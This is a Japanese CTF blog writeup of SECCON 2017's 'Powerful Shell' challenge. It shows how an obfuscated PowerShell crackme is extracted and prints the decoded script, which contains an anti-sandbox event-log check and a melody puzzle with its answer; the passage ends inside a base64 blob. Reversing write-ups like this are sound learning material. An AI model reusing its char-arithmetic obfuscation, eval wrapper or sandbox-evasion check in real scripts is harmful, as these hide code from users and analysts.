yyy

CTFつよくなりたい

SECCON 2017 Online CTF Writeup(Powerful Shell) & おまけ(Qubic Rube)

開催期間(JST)

12/09 PM3:00 ~ 12/10 PM3:00

結果

・チーム名:wabisabi

・得点:1200 pt

・順位:170/1028

解いた問題

・Powerful Shell (Binary 300)

取り組んだが解けなかった問題

・Qubic Rube (Programming 300)

はじめに

参加してました.日本チームがめっちゃ多くてびっくりしてました.チームメンバーの活躍で去年より順位が100位ぐらい上がってました.僕は結局Powerful Shellしか通せなくて,Qubic Rubeを後輩とやっていたのですが,あと2時間あれば解けただろうって感じで,37/50 ステージ目でタイムアップだったので悲しい.

以下,Powerful ShellのWriteupです.

Writeup

Powerful Shell (Binary 300)

最初はずっとQubic Rubeをやっていたのですが,スクリプトを他の人に書いてもらっているときに「なんか解けるやつないかなぁ」と思って解いたやつです.高得点なのに解いている人が多くて,それで着手しました.

Crack me. という問題文と共に以下のような,20546行のテキストが渡されます.

$ECCON="";
$ECCON+=[char](3783/291);
$ECCON+=[char](6690/669);
$ECCON+=[char](776-740);
$ECCON+=[char](381-312);
$ECCON+=[char](403-289);
$ECCON+=[char](-301+415);
$ECCON+=[char](143-32);
$ECCON+=[char](93594/821);
$ECCON+=[char](626-561);
..........................................................
$ECCON+=[char](7631/587);
$ECCON+=[char](137-127);
$ECCON+=[char](-905+918);
$ECCON+=[char](873-863);
$ECCON+=[char](721-708);
$ECCON+=[char](803-793);
$ECCON+=[char](10426/802);
Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99;
$ECCON+=[char](520-510);
Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))

Power Shellのスクリプトだということを先に取り組んでいた@kobadlveから教えてもらい,その後も情報を貰いながら(Set-ExecutionPolicyでExecution Policyを変更する必要がある,など)Power Shellで動かすところまではいきました.@kobadlveは仮想マシンで取り組んでいたらしいのですが, Checking Host... というところで落ちてしまうということでした.自分のPCではちゃんと動いたので,環境の問題でしょうか.

上手く起動できると以下のような画面が現れます.

f:id:ywkw1717:20171210204911p:plain

僕はPCをミュートしていて後々気づくことになるのですが,鍵盤にある記号を入力すると音がでるようになっています.面白い.

まずPower Shellスクリプトから読み取れることとしては,ECCONという名前の変数にひたすらなにかを足していっているということです.Power Shellでは変数の前に$を付けて使うらしいですね.そして,最終的にそれを実行しているように見えます.

僕がまず行ったことはソースコードの抽出です.$ECCONには1文字ずつ足してスクリプトを書いていっているのだから$ECCONを別ファイルとかに書き出してしまえばソースコードは見れるのではないか?と考えました.

そこで,スクリプトの最後を以下のように変更しました.

$ECCON+=[char](803-793);
$ECCON+=[char](10426/802);
Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99;
$ECCON+=[char](520-510);
#Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))

Out-File -InputObject $ECCON -FilePath C:\Users\ywkw1\Work\script.ps1

これで,script.ps1として$ECCONを保存できました.早速中身を見てみます.

$ErrorActionPreference = "ContinueSilently"
[console]::BackgroundColor = "black";[console]::ForegroundColor = "white";cls;Set-Alias -Name x -Value Write-Host;$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 95,25;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x;x;

<# Host Check #>
Write-Host -b 00 -f 15 Checking Host... Please wait... -n
Try{
    If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) {
        Write-Host "This host is too fresh!"
        Exit
    }
}Catch{
    Write-Host "Failed: No admin rights!"
    Exit
}
Write-Host "Check passed"

$keytone=@{'a'=261.63}
$pk='a'
ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){
    $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k  
}
Write-Host -b 00 -f 15 "Play the secret melody."

Write-Host -b 15 -f 00 -n '   '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '   |   '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 '   |    ' 
Write-Host -b 15 -f 00 -n '   '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '   |   '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 '   |    ' 
Write-Host -b 15 -f 00 -n '   '
Write-Host -b 00 -f 15 -n ' w '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n ' e '
Write-Host -b 15 -f 00 -n '   |   '
Write-Host -b 00 -f 15 -n ' t '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n ' y '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n ' u '
Write-Host -b 15 -f 00 '   |    ' 
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00  '    '
Write-Host -b 15 -f 00 -n '  a |'
Write-Host -b 15 -f 00 -n '  s |'
Write-Host -b 15 -f 00 -n '  d |'
Write-Host -b 15 -f 00 -n '  f |'
Write-Host -b 15 -f 00 -n '  g |'
Write-Host -b 15 -f 00 -n '  h |'
Write-Host -b 15 -f 00 -n '  j |'
Write-Host -b 15 -f 00  '  k '
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00  '    '
Write-Host
$stage1=@();$f="";
While($stage1.length -lt 14){
    $key=(Get-Host).ui.RawUI.ReadKey("NoEcho,IncludeKeyDown")
    $k=[String]$key.Character
    $f+=$k;
    If($keytone.Contains($k)){
        $stage1+=[math]::floor($keytone[$k])
        [console]::beep($keytone[$k],500)
    }
}
$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)
If($secret.length -eq $stage1.length){
    For ($i=1; $i -le $secret.length; $i++) {
        If($secret[$i] -ne $stage1[$i]){
            Exit
        }
    }
    x "Correct. Move to the next stage."
}
$text=@"
YkwRUxVXQ05DQ1NOE1sVVU4TUxdTThBBFVdDTUwTURVTThMqFldDQUwdUxVRTBNEFVdAQUwRUxtT
TBEzFVdDQU8RUxdTbEwTNxVVQUNOEFEVUUwdQBVXQ0NOE1EWUUwRQRtVQ0FME1EVUU8RThdVTUNM
EVMVUUwRFxdVQUNCE1MXU2JOE0gWV0oxSk1KTEIoExdBSDBOE0MVO0NKTkAoERVDSTFKThNNFUwR
FBVINUFJTkAqExtBSjFKTBEoF08RVRdKO0NKTldKMUwRQBc1QUo7SlNgTBNRFVdJSEZCSkJAKBEV
QUgzSE8RQxdMHTMVSDVDSExCKxEVQ0o9SkwRQxVOE0IWSDVBSkJAKBEVQUgzThBXFTdDRExAKhMV
